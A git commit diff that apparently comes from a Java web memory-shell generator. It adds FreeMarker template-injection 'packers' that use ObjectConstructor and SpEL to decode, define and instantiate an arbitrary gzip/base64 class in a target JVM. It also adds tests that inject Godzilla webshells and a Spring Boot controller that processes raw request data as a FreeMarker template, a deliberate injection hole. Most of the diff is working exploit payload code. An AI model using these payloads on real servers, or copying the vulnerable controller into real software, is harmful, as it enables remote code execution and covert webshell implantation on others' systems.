feat: support Freemarker SpEL packer

This commit is contained in:
ReaJason
2026-08-30 16:02:59 +08:00
parent 3c91ba50e9
commit bc403f999a
12 changed files with 159 additions and 14 deletions
@@ -381,7 +381,8 @@ public class ShellAssertion {
} }
if (Packers.SpELSpringGzipJDK17.equals(packer) if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) { || Packers.JXPathSpringGzipJDK17.equals(packer)
|| Packers.FreemarkerSpELJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
} }
@@ -429,7 +430,7 @@ public class ShellAssertion {
case Rhino -> VulTool.postIsOk(url + "/rhino", content); case Rhino -> VulTool.postIsOk(url + "/rhino", content);
case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
case JinJava -> VulTool.postIsOk(url + "/jinjava", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); case Freemarker, FreemarkerScriptEngine, FreemarkerSpEL, FreemarkerSpELJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
case Velocity -> VulTool.postIsOk(url + "/velocity", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content);
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
return Stream.of( return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELJDK17)
); );
} }
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
); );
} }
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.deserialize.java.*;
import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.el.ELPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELJDK17Packer;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
@@ -142,6 +145,9 @@ public enum Packers {
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()), Freemarker(new FreemarkerPacker()),
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
FreemarkerSpEL(new FreemarkerSpELPacker(), FreemarkerPacker.class),
FreemarkerSpELJDK17(new FreemarkerSpELJDK17Packer(), FreemarkerPacker.class),
Velocity(new VelocityPacker()), Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()), JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()), XMLDecoder(new XMLDecoderPacker()),
@@ -1,19 +1,10 @@
package com.reajason.javaweb.packer.freemarker; package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class FreemarkerPacker implements Packer { public class FreemarkerPacker implements AggregatePacker {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerScriptEnginePacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELJDK17Packer implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
* compressed class-definition expression.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELPacker implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
class FreemarkerSpELPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void pack() {
String payload = new FreemarkerSpELPacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
assertTrue(payload.contains("SpelExpressionParser"));
assertTrue(payload.contains("Base64Utils"));
assertTrue(payload.contains("GZIPInputStream"));
assertTrue(payload.contains("com.example.Test"));
}
@Test
void packJdk17() {
FreemarkerSpELJDK17Packer packer = new FreemarkerSpELJDK17Packer();
assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
assertThrows(UnsupportedOperationException.class,
() -> packer.pack(config("com.example.Test")));
}
}
+1
View File
@@ -22,6 +22,7 @@ dependencies {
implementation("ognl:ognl:2.7.3") implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3") implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3") implementation("commons-beanutils:commons-beanutils:1.9.3")
implementation("org.freemarker:freemarker:2.3.23")
} }
tasks.test { tasks.test {
@@ -0,0 +1,35 @@
package com.reajason.javaweb.vul.springboot3.controller;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2026/8/30
*/
@RestController
@RequestMapping("/freemarker")
public class FreemarkerController {
@PostMapping
public String freemarker(@RequestParam String data) throws IOException, TemplateException {
Configuration configuration = new Configuration();
configuration.setDefaultEncoding("UTF-8");
Map<String, Object> input = new HashMap<>();
input.put("object", new Object());
Template template = new Template("templateName", new StringReader(data), configuration);
StringWriter output = new StringWriter();
template.process(input, output);
return output.toString();
}
}